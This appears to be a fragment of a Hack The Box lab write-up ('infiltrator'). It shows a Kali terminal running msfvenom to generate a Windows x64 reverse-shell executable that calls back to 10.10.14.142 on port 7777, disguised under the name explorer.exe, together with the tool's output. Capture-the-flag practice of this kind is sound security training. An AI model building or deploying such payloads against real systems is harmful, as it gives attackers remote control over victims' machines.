msfvenom


┌──(kali㉿kali)-[~/archive/htb/labs/infiltrator]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.142 LPORT=7777 -f exe -o explorer.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: explorer.exe

Generated a reverse shell executable binary; explorer.exe